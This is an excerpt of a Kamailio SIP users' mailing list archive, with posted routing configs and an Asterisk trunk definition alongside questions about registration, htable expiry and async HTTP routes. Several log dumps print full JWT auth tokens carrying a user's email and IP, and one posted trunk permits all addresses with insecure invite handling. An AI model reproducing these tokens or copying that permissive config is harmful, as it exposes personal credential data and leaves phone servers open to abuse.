}; if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if( is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } exit; #!endif # if presence enabled, this part will not be executed if (is_method("PUBLISH") || $rU==$null) { sl_send_reply("404", "Not here"); exit; } return; } # Authentication route route[AUTH] { #!ifdef WITH_AUTH #!ifdef WITH_ASTERISK # do not auth traffic from Asterisk - trusted! if(route(FROMASTERISK)) return; #!endif #!ifdef WITH_IPAUTH if((!is_method("REGISTER")) && allow_source_address()) { # source IP allowed return; } if (is_method("REGISTER") || from_uri==myself){ if (!allow_trusted()) { xlog('wokred here for ipauth check'); sl_send_reply("403", "Forbidden"); } } #!endif if (is_method("REGISTER") || from_uri==myself) { # authenticate requests #!ifdef WITH_ASTERISK if (!auth_check("$fd", "sip_users", "1")) { #!else if (!auth_check("$fd", "subscriber", "1")) { #!endif auth_challenge("$fd", "0"); exit; } # user authenticated - remove auth header if(!is_method("REGISTER|PUBLISH")) consume_credentials(); } # if caller is not local subscriber, then check if it calls # a local destination, otherwise deny, not an open relay here if (from_uri!=myself && uri!=myself) { sl_send_reply("403","Not relaying"); exit; } #!endif return; } # Caller NAT detection route route[NATDETECT] { #!ifdef WITH_NAT force_rport(); if (nat_uac_test("19")) { if (is_method("REGISTER")) { fix_nated_register(); } else { fix_nated_contact(); } setflag(FLT_NATS); } #!endif return; } # RTPProxy control route[NATMANAGE] { #!ifdef WITH_NAT if (is_request()) { if(has_totag()) { if(check_route_param("nat=yes")) { setbflag(FLB_NATB); } } } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB))) return; rtpproxy_manage(); if (is_request()) { if (!has_totag()) { add_rr_param(";nat=yes"); } } if (is_reply()) { if(isbflagset(FLB_NATB)) { fix_nated_contact(); } } #!endif return; } # Routing to foreign domains route[SIPOUT] { if (!uri==myself) { append_hf("P-hint: outbound\r\n"); route(RELAY); } } # PSTN GW routing route[PSTN] { #!ifdef WITH_PSTN # check if PSTN GW IP is defined if (strempty($sel(cfg_get.pstn.gw_ip))) { xlog("SCRIPT: PSTN rotuing enabled but pstn.gw_ip not defined\n"); return; } # route to PSTN dialed numbers starting with '+' or '00' # (international format) # - update the condition to match your dialing rules for PSTN routing if(!($rU=~"^(\+|00)[1-9][0-9]{3,20}$")) return; # only local users allowed to call if(from_uri!=myself) { sl_send_reply("403", "Not Allowed"); exit; } $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip); route(RELAY); exit; #!endif return; } # XMLRPC routing #!ifdef WITH_XMLRPC route[XMLRPC] { # allow XMLRPC from localhost if ((method=="POST" || method=="GET") && (src_ip==127.0.0.1)) { # close connection only for xmlrpclib user agents (there is a bug in # xmlrpclib: it waits for EOF before interpreting the response). if ($hdr(User-Agent) =~ "xmlrpclib") set_reply_close(); set_reply_no_connect(); dispatch_rpc(); exit; } send_reply("403", "Forbidden"); exit; } #!endif # route to voicemail server route[TOVOICEMAIL] { #!ifdef WITH_VOICEMAIL if(!is_method("INVITE")) return; # check if VoiceMail server IP is defined if (strempty($sel(cfg_get.voicemail.srv_ip))) { xlog("SCRIPT: VoiceMail rotuing enabled but IP not defined\n"); return; } if($avp(oexten)==$null) return; $ru = "sip:" + $avp(oexten) + "@" + $sel(cfg_get.voicemail.srv_ip) + ":" + $sel(cfg_get.voicemail.srv_port); route(RELAY); exit; #!endif return; } # manage outgoing branches branch_route[MANAGE_BRANCH] { xdbg("new branch [$T_branch_idx] to $ru\n"); route(NATMANAGE); } # manage incoming replies onreply_route[MANAGE_REPLY] { xdbg("incoming reply\n"); if(status=~"[12][0-9][0-9]") route(NATMANAGE); } # manage failure routing cases failure_route[MANAGE_FAILURE] { route(NATMANAGE); if (t_is_canceled()) { exit; } if(t_check_status("401")) { uac_auth(); } #!ifdef WITH_BLOCK3XX # block call redirect based on 3xx replies. if (t_check_status("3[0-9][0-9]")) { t_reply("404","Not found"); exit; } #!endif #!ifdef WITH_VOICEMAIL # serial forking # - route to voicemail on busy or no answer (timeout) if (t_check_status("486|408")) { route(TOVOICEMAIL); exit; } t_relay(); #!endif } # Test if coming from Asterisk route[FROMASTERISK] { # if($si==$sel(cfg_get.asterisk.bindip) # && $sp==$sel(cfg_get.asterisk.bindport)) # return 1; # return -1; # dispatch: is this asterisk ip ? if (ds_is_from_list("1")) return 1; return -1; } # Send to Asterisk route[TOASTERISK] { # $du = "sip:" + $sel(cfg_get.asterisk.bindip) + ":" # + $sel(cfg_get.asterisk.bindport); # append_hf("X-Asterisk-Context: dexter-phones\r\n"); # route(RELAY); # exit; # select asterisk port append_hf("X-Asterisk-Context: dexter-phones\r\n"); route(DISPATCH); } route[DISPATCH] { # round robin dispatching on gateways group '1' #xlog("<<<<<<<<<<<<<<<<trying for dispatch>>>>>>>>>>>>>>>>>>>"); #if (is_method("INVITE")) { # dst_select( "GROUP", "HASH METHOD") #ds_select_dst("1","4"); #sl_send_reply("100","Trying"); # forward(); # exit(); #} if (!ds_select_domain("1", "4")) { send_reply("404", "No destination"); exit; } t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } # Forward REGISTER to Asterisk route[REGFWD] { if(!is_method("REGISTER")) { return; } $var(rip) = $sel(cfg_get.asterisk.bindip); $uac_req(method)="REGISTER"; $uac_req(ruri)="sip:" + $var(rip) + ":" + $sel(cfg_get.asterisk.bindport); $uac_req(furi)="sip:" + $au + "@" + $var(rip); $uac_req(turi)="sip:" + $au + "@" + $var(rip); $uac_req(hdrs)="Contact: <sip:" + $au + "@" + $sel(cfg_get.kamailio.bindip) + ":" + $sel(cfg_get.kamailio.bindport) + ">\r\n"; if($sel(contact.expires) != $null) $uac_req(hdrs)= $uac_req(hdrs) + "Expires: " + $sel(contact.expires) + "\r\n"; else $uac_req(hdrs)= $uac_req(hdrs) + "Expires: " + $hdr(Expires) + "\r\n"; uac_req_send(); } “kamctl dispatcher dump” looks like this: { "jsonrpc": "2.0", "result": { "NRSETS": 1, "RECORDS": [{ "SET": { "ID": 1, "TARGETS": [{ "DEST": { "URI": "sip:ASTERISKIP:5060", "FLAGS": "AP", "PRIORITY": 1, "ATTRS": { "BODY": "rweight=50;weight=50;cc=1", "DUID": "", "MAXLOAD": 0, "WEIGHT": 50, "RWEIGHT": 50, "SOCKET": "", "SOCKNAME": "", "OBPROXY": "" } } }] } }] }, "id": 13403 } And also have set trunk in ASTERISK sip.conf register => kamailioSIP:XXXX@KamailioIP:5060 [kamailio] type=friend host= KamailioIP port=5060 transport=udp allow=all allow=gsm allow=alaw,ulaw insecure=invite,port Permit = 0.0.0.0/0.0.0.0 sipdebug=yes username=kamailioSIP canreinvite=no secret=XXXX qualify=yes dtmfmode=auto when i Register my asterisk devices with kamailioIP (and I am able to do this) Devices are getting register with the asterisk from with kamailioIP asterisk -r : (here 8101 and 8100 is registered with Kamailio IP ) [Nov 9 10:36:02] -- Registered SIP '8101' at XX.XX.XX.95:5060 [Nov 9 10:36:02] -- Unregistered SIP '8101' [Nov 9 10:36:03] -- Registered SIP '8101' at XX.XX.XX..95:5060 [Nov 9 10:36:03] == Manager 'listencron' logged on from 127.0.0.1 [Nov 9 10:36:04] == Manager 'sendcron' logged off from 127.0.0.1 [Nov 9 10:36:07] -- Unregistered SIP '8100' [Nov 9 10:36:09] -- Registered SIP '8100' at XX.XX.XX..95:5060 [Nov 9 10:36:09] > Saved useragent "Z 3.15.40006 rv2.8.20" for peer 8100 [Nov 9 10:36:09] NOTICE[8453]: chan_sip.c:23869 handle_response_peerpoke: Peer '8100' is now Reachable. (51ms / 2000ms) when i dial 8100 to 8101 i get in my asteris -r NOTICE[8453][C-0000000b]: chan_sip.c:26002 handle_request_invite: Call from '8101' (95.217.223.95:5060) to extension '8100' rejected because extension not found in context 'none-dial'. and not able to call extension to extension, PLEASE HELP to do this, I have search a lot and tried so much of stuff in configs but no success still kindly guide me if anything I am missing to do in the process or anything I am doing wrong. I will be eagerly waiting for any help or pointer… Thanks in advance

3 3

Re: [SR-Users] Checking user registration
by ahmed moghazy 11 Nov '20

11 Nov '20

When i used lockup location it is done but if the user registered one time on server the location will be saved on kamailio so i want a method to check registered users live every second for example and i want to delete locations of un registered users ? Thank u. > On 10/11/2020, at 12:41 PM, ahmed moghazy <ahmed.m.moghazi(a)gmail.com> wrote: >

2 2

Checking callee registration
by ahmed moghazy 10 Nov '20

10 Nov '20

I want to check if callee is registered or not before routing call because this made error and make caller unregistered untill i restarted the linphone

3 3

Checking user registration
by ahmed moghazy 10 Nov '20

10 Nov '20

I want kamailio to reject call and send message user is not registered when a caller is trying to call unregistered user (callee) , Thank you.

2 1

Expire timeout for notify message answer
by Victor Litvinov 10 Nov '20

10 Nov '20

Hello dear community. We use a presence module with the enabled option "timeout_rm_subs". And we face issues that subscriptions remove too early. We expect that it will be removed after the fr_timer, but it is removed after 1 second. We I can see in log (i'm add additional logs): when we send NOTIFY: tm [timer.c:491]: retr_buf_handler(): timer retr_buf_handler @1436309038 (timer_ln 0x7f4708f45bd0 -> rbuf 0x7f4708f45bb0 -> [0x7f4708f458a0 <-> 11592:145228 527]) tm [timer.c:492]: retr_buf_handler(): fr_expire 1436309054 T1 4000 T2 4000 fr_timeout 80 tm [timer.c:536]: retr_buf_handler(): new interval 4000 ms / 64 ticks (max 4000 ms) when timer expire: tm [timer.c:491]: retr_buf_handler(): timer retr_buf_handler @1436309054 (timer_ln 0x7f4708f45bd0 -> rbuf 0x7f4708f45bb0 -> [0x7f4708f458a0 <-> 11592:145228 527]) tm [timer.c:492]: retr_buf_handler(): fr_expire 1436309054 T1 4000 T2 4000 fr_timeout 80 tm [timer.c:367]: final_response_handler(): transaction [0x7f4708f458a0 <-> 11592:145228527] scheduled for deletion tm [timer.c:424]: final_response_handler(): stop retr. and send CANCEL (0x7f4708f458a0) and then subscription remove. As we can see the fr_expire variable was set to ticks+16 ( 1 second). And another strange thing that T1 and T2 timers are the same. So the question is if this behaviour is correct, how can we configure the presence module fr_timer as an expiration value for the answer to notify? And can we use it without retransmissions?

2 1

How to modify INVITE Request Line string
by Jose Figueroa 09 Nov '20

09 Nov '20

Hello everybody, Today I received a request from a carrier which needs us to send the calls using a prefix in the INVITE header. I am reading the documentation for kamailio 4.3.x but I havent found anything I can use in order to modify the Request Line (INVITE) string. I need to change from this: INVITE sip:123456789@IP:5060 to this: INVITE sip:PREFIX123456789@IP:5060 If you can guide me to the right direction would be more than great. Thanks -- Jose Figueroa Senior Software Engineer

2 2

(no subject)
by ahmed moghazy 09 Nov '20

09 Nov '20

Hello, When i make a call from specific user to another it didnt make call and it gave missed call to another one after a minute so the call doesnot complete i dont know why , Thank you.

2 1

Kamailio ims stable version
by Pavithra Mohanraja 08 Nov '20

08 Nov '20

Hi, How to do git clone of kamailio source code with minor version. I could only do git checkout of 5.3 version and it is automatically taking latest stable version. I don't need in this way. I need to do git clone of exact version of kamailio source code . Example - if I need 5.3.6 version.. exact version source code has to be git checked out from kamailio website. How to do that .. kindly let me know.. Thanks, Pavithra

2 3

Re: [SR-Users] Proxy configuration that exit dialog afer INVITE -> OK
by Yufei Tao 07 Nov '20

07 Nov '20

Hi, Here's an example kamailio.cfg that uses record_route so in-dialog requests will go through the Kamailio proxy: https://github.com/kamailio/kamailio/blob/master/etc/kamailio.cfg There are many other example cfg files: https://github.com/kamailio/kamailio/tree/master/misc/examples Any server that wants to see the in-dialog messages needs to add itself to the record route list when receiving the initial INVITE for example. If a server is not in the list of record routes, then in-dialog requests will not be sent to the server. Headers that are most important in terms of routing are R-URI, Route, Record-Route, Contact, Via. Via header is for routing responses, while Record-Route is for in-dialog requests. I've put a few tips and some resources here about starting with Kamailio, which hopefully may help you a bit: http://tao-communications-ltd.simplesite.com/447576389 Cheers, Yufei >* Message: 7 *>* Date: Thu, 5 Nov 2020 12:26:16 +0200 *>* From: "Adrian Tabacioiu" <Adi.Tabacioiu at c-s.ro <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>> *>* To: sr-users at lists.kamailio.org <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users> *>* Subject: [SR-Users] Proxy configuration that exit dialog afer INVITE *>* -> OK *>* Message-ID: <7449102a9f3dbe38b6dba753d1cffcd8.squirrel at mail.c-s.ro <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>> *>* Content-Type: text/plain;charset=iso-8859-1 *>>>* Hello all, *>>* Am I new in the usage of kamailio, sorry if I ask somehow something simple *>* or terribly wrong . *>>* I need to test a configuration of Kamailio which exit the dialog between *>* UA after the first OK (that means it will not receive the following ACK, *>* BYE). *>>* I understand that in theory this is possible in two configuration types: *>* - no Record Route header *>* - or stateless proxy *>>* First question: *>* Am I correct with the choices above? *>* Can I find example configuration for this two modes ? *>>* Question 2: *>* two or more proxy should be inter-connected, removing the Record Route *>* header would interfere with proxy routing ? (should not the "Via" *>* information be sufficient?) *>>* Thank you in advance for help. *>>* Best regards, *>* Adrian Tabacioiu *>

2 1

Kamailio dump configuration and exit?
by Brandon Armstead 07 Nov '20

07 Nov '20

Is there a similar hook to make kamailio dump its current configuration it is reading including ... included files, i.e. similar to nginx -T root@main:/home/brandon# nginx -h nginx version: nginx/1.14.2 Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives] Options: -?,-h : this help -v : show version and exit -V : show version and configure options then exit -t : test configuration and exit -T : test configuration, dump it and exit -q : suppress non-error messages during configuration testing -s signal : send signal to a master process: stop, quit, reopen, reload -p prefix : set prefix path (default: /usr/share/nginx/) -c filename : set configuration file (default: /etc/nginx/nginx.conf) -g directives : set global directives out of configuration file Thanks for your time in advance!

1 0

send_reply() related feature request
by Juha Heinanen 06 Nov '20

06 Nov '20

Many times (especially when there is a hacking attempt) I want to close TCP or TLS session after sending reply. So, for example, I write: set_reply_close(); send_reply("403", "Forbidden"); It would be more convenient if these two calls could be combined into one, for example: send_reply_and_close("403", "Forbidden"); -- Juha

2 7

Re: [SR-Users] sr-users Digest, Vol 186, Issue 5
by Yufei Tao 05 Nov '20

05 Nov '20

Hi, Here's an example kamailio.cfg that uses record_route so in-dialog requests will go through the Kamailio proxy: https://github.com/kamailio/kamailio/blob/master/etc/kamailio.cfg There are many other example cfg files: https://github.com/kamailio/kamailio/tree/master/misc/examples Any server that wants to see the in-dialog messages needs to add itself to the record route list when receiving the initial INVITE for example. If a server is not in the list of record routes, then in-dialog requests will not be sent to the server. Headers that are most important in terms of routing are R-URI, Route, Record-Route, Contact, Via. Via header is for routing responses, while Record-Route is for in-dialog requests. Cheers, Yufei > Message: 7 > Date: Thu, 5 Nov 2020 12:26:16 +0200 > From: "Adrian Tabacioiu" <Adi.Tabacioiu(a)c-s.ro> > To: sr-users(a)lists.kamailio.org > Subject: [SR-Users] Proxy configuration that exit dialog afer INVITE > -> OK > Message-ID: <7449102a9f3dbe38b6dba753d1cffcd8.squirrel(a)mail.c-s.ro> > Content-Type: text/plain;charset=iso-8859-1 > > > Hello all, > > Am I new in the usage of kamailio, sorry if I ask somehow something simple > or terribly wrong . > > I need to test a configuration of Kamailio which exit the dialog between > UA after the first OK (that means it will not receive the following ACK, > BYE). > > I understand that in theory this is possible in two configuration types: > - no Record Route header > - or stateless proxy > > First question: > Am I correct with the choices above? > Can I find example configuration for this two modes ? > > Question 2: > two or more proxy should be inter-connected, removing the Record Route > header would interfere with proxy routing ? (should not the "Via" > information be sufficient?) > > Thank you in advance for help. > > Best regards, > Adrian Tabacioiu > >

1 0

How to Add Customer Table During Installation
by me.projects＠yahoo.com 05 Nov '20

05 Nov '20

Hi, I want add some custom Table Creation during installation of Kamailio. I want to add my Custom Table during the execution of kamdbctl create command. Currently I am adding my script in share/kamailio/mysql/auth_db-create.sql Thanks,

2 3

tsilo - failure to add branches (-1)
by Jurijs Ivolga 05 Nov '20

05 Nov '20

Hi, I have several Kamailio proxies - loadbalancer which is used as TLS offload and Authorization server and behind registrar servers. In this case I can't make tsilo work on the registrar server. I'm always getting: "tm [t_append_branches.c:172]: t_append_branches(): failure to add branches (-1)" If I use just one Kamailio which is used as Authorization and Registrar server then tsilo works as expected. Looks like kamailio where I run ts_append tries to connect to UAC directly and not through Loadbalancer. Any ideas? How can I troubleshoot this? Thank you! Jurijs

3 9

Proxy configuration that exit dialog afer INVITE -> OK
by Adrian Tabacioiu 05 Nov '20

05 Nov '20

Hello all, Am I new in the usage of kamailio, sorry if I ask somehow something simple or terribly wrong . I need to test a configuration of Kamailio which exit the dialog between UA after the first OK (that means it will not receive the following ACK, BYE). I understand that in theory this is possible in two configuration types: - no Record Route header - or stateless proxy First question: Am I correct with the choices above? Can I find example configuration for this two modes ? Question 2: two or more proxy should be inter-connected, removing the Record Route header would interfere with proxy routing ? (should not the "Via" information be sufficient?) Thank you in advance for help. Best regards, Adrian Tabacioiu

1 0

Kamailio in VMware with Fault Tolerance on
by Patrick Wakano 03 Nov '20

03 Nov '20

Hello list, Hope you are all good! Recently, the issue https://github.com/kamailio/kamailio/issues/2535 has been investigated and the utilization of the feature vsphere Fault Tolerance is linked as a source of network latency and probably CPU allocation latency. This increases the chances of the mentioned issue to happen. So I would just like to ask if anyone out there is using Kamilio in a VMware environment with Fault Tolerance on? How is the experience? Kind regards, Patrick Wakano

3 6

Re: [SR-Users] htable + event_routes + mod-init + htable:expired
by Brandon Armstead 03 Nov '20

03 Nov '20

Nov 2 21:13:28 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_EXPIRED, lets retrieve a new one Nov 2 21:13:28 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_RECEIVED, {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjA4LCJleHAiOjE2MDQzNTUyMDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351608,"exp":1604355208,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog"}}} Nov 2 21:13:28 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_TIME, 1604351608 root@main:/etc/kamailio# kamcmd htable.dump server { entry: 11 size: 1 slot: { { name: auth::token value: {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjA4LCJleHAiOjE2MDQzNTUyMDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351608,"exp":1604355208,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog"}}} type: str } } } Nov 2 21:13:48 main kamailio[1334]: INFO: <script>: AUTH_TOKEN_EXPIRED, lets retrieve a new one Nov 2 21:13:48 main kamailio[1334]: INFO: <script>: AUTH_TOKEN_RECEIVED, {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjI4LCJleHAiOjE2MDQzNTUyMjgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.stW5JzPR-Gz3oVvQEb1wxF7I0GcZ1KjkkQhinHGEivQ","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351628,"exp":1604355228,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"stW5JzPR-Gz3oVvQEb1wxF7I0GcZ1KjkkQhinHGEivQ"}}} Nov 2 21:13:48 main kamailio[1334]: INFO: <script>: AUTH_TOKEN_TIME, 1604351628 root@main:/etc/kamailio# kamcmd htable.dump server { entry: 0 size: 1 slot: { { name: auth::time value: 1604351628 type: int } } } Nov 2 21:14:08 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_EXPIRED, lets retrieve a new one Nov 2 21:14:08 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_RECEIVED, {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjQ4LCJleHAiOjE2MDQzNTUyNDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351648,"exp":1604355248,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4"}}} Nov 2 21:14:08 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_TIME, 1604351648 root@main:/etc/kamailio# kamcmd htable.dump server { entry: 11 size: 1 slot: { { name: auth::token value: {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjQ4LCJleHAiOjE2MDQzNTUyNDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351648,"exp":1604355248,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4"}}} type: str } } } On Mon, Nov 2, 2020 at 12:44 PM Brandon Armstead <brandon(a)cryy.com> wrote: > Also to add one more thing, I added a third static variable into the mix > to test when using the "bad config" just setting server=>auth::name to > "brandon" and introducing the 3rd variable seems to just make kamailio hang > when doing kamcmd htable.dump server <---- (no results returned). > > On Mon, Nov 2, 2020 at 12:41 PM Brandon Armstead <brandon(a)cryy.com> wrote: > >> Daniel, >> >> In short kamcmd does not reflect the value set in $sht(server=>auth >> ::token) >> >> It alternates between being set and not being set (reflecting in kamcmd >> htable.dump >> >> root@main:/etc/kamailio# kamcmd htable.dump server >> >> { >> >> entry: 11 >> >> size: 1 >> >> slot: { >> >> { >> >> name: auth::token >> >> value: >> {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzQ2NzgzLCJleHAiOjE2MDQzNTAzODMsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.aFGWqQg31oNnw10XfZ61Xm5Jncvt7RoNri2ZuDJ6yLQ","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604346783,"exp":1604350383,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" >> brandon(a)cryy.com >> "},"source":{"address":"34.94.123.121"}},"signature":"aFGWqQg31oNnw10XfZ61Xm5Jncvt7RoNri2ZuDJ6yLQ"}}} >> >> type: str >> >> } >> >> } >> >> } >> >> >> In the kamailio logs it always shows AUTH_TOKEN_RECEIVED (correctly, with >> the correct auth token), kamcmd dump of htable alternates between execution >> of this route: htable:expired:server >> >> Exec 1: >> >> auth::time => [timestamp] >> >> Exec 2: >> >> auth::token => token >> >> Exec 3: >> >> auth::time => [timestamp] >> >> So on and so forth, [ kamcmd htable.dump server ] it does not correctly >> hold both $sht(server=>auth::time) and $sht(server=>auth::token) like it >> should, despite kamailio logs showing the HTTP_AUTH_TOKEN received message >> with the correct auth token (100% of the time). >> >> It's almost like there is a race condition when using the modules >> http_client_query in both init and expired event route. >> >> When I changed it to the resolved code block above separating the calls >> and introducing http_async_client inside htable:expired:server >> >> The result is 100% of the time auth token exists correctly, just like the >> logs 100% of the time show the auth token received regardless of >> event_route implementation. >> >> So somewhere somehow the problematic config causes the hash table to not >> store HTTP_AUTH_TOKEN it receives and logs. >> >

2 1

http_async_client
by Brandon Armstead 03 Nov '20

03 Nov '20

kamailio 5.5.0-dev3 I'm unsure if this is expected behavior, so thought I would ask... When using http_async_query("URI", "ROUTENAME") request_route { route(AUTH); # this does not get executed below route(AUTH) xinfo("[$ci][$rm] we hit this line"); } route[AUTH] { t_newtran(); http_async_query("URI", "ROUTENAME"); } route[ROUTENAME] { # do stuff here to check authentication and return if(auth + registration) { append_hf("Path...."); msg_apply_changes(); # this fails and errors out about incorrect route # ^ invalid usage - not in request route or a reply save("location"); } if(auth + invite) { # route to pstn } } Expected behavior: to be able to obtain some processing / information gathering about authentication with the call and additional information possibly and return to normal routing. As-is now I've to move the actions all into ROUTENAME for kamailio to continue processing, it does not go back to request_route { }. # this does not get executed below route(AUTH) Is this expected behavior, or am I missing something? If I do catch route(AUTH) with a hash table and prevent its execution after first run, the avp's from the transaction created are not available in request_route that were set in ROUTENAME.

2 4

htable + event_routes + mod-init + htable:expired
by Brandon Armstead 02 Nov '20

02 Nov '20

Running 5.5.0-dev3 modparam("htable", "htable", "ipban=>size=8;autoexpire=300;dmqreplicate=1;") modparam("htable", "enable_dmq", 1) modparam("htable", "dmq_init_sync", 1) modparam("htable", "timer_procs", 4) modparam("htable", "timer_interval", 5) modparam("htable", "db_expires", 1) modparam("htable", "htable", "account=>size=4;dmqreplicate=1;") modparam("htable", "htable", "server=>size=4;autoexpire=15;") I'm attempting to retrieve an auth token in the init process and also refresh the token upon expiration in the htable:expired event. I'm seeing some behavior where every other execution of htable:expired the variable $sht(server=>auth::token) is set per kamcmd htable.dump server, however xinfo() reports that the token was retrieved in the variable $sht (server=>auth::token). Please see remaining event route config below: event_route[htable:mod-init] { # generate auth token into http_client_query("https://www.cryy.com/api/auth/token", '{"email": " brandon(a)cryy.com", "password":"XXXX"}', "$var(result)"); sht_lock("server=>auth::token"); $sht(server=>auth::token) = $var(result); sht_unlock("server=>auth::token"); xinfo("AUTH_TOKEN_RECEIVED, $sht(server=>auth::token)"); } event_route[htable:expired:server] { # process expired htable, renew auth token xinfo("AUTH_TOKEN_EXPIRED, lets retrieve a new one"); http_client_query("https://www.cryy.com/api/auth/token", '{"email": " brandon(a)cryy.com", "password":"XXXX"}', "$var(result)"); sht_lock("server=>auth::token"); $sht(server=>auth::time) = $TS; $sht(server=>auth::token) = $var(result); sht_unlock("server=>auth::token"); xinfo("AUTH_TOKEN_RECEIVED, $sht(server=>auth::token)"); xinfo("AUTH_TOKEN_TIME, $sht(server=>auth::time)"); } I've tried both with locking and unlocking. Also one last thing worth mentioning is that on the alternation where kamcmd htable.dump server shows no auth token, $sht(server=>auth::time) is available, when the auth token is visible in kamcmd htable.dump server there is no sht(server=>auth::time) returned. Also just to be explicitly clear -- xinfo() always returns AUTH_TOKEN_RECEIVED correctly in both event routes. Perhaps I'm over looking something -- thank you for the help in advance. - Brandon

2 3

outgoing TCP connection ID
by Sergiu Pojoga 02 Nov '20

02 Nov '20

Hi there, Is there a PV that exposes the outgoing TCP connection ID? $conid seems to be for received only. *$conid - The TCP connection ID of the connection the current message arrived on for TCP, TLS, WS, and WSS. Set to $null for SCTP and UDP.* The objective is to check the status of the egress TCP connection like for e.g.: if(!tcp_conid_state(conid)) { Thanks. --Sergiu

2 4

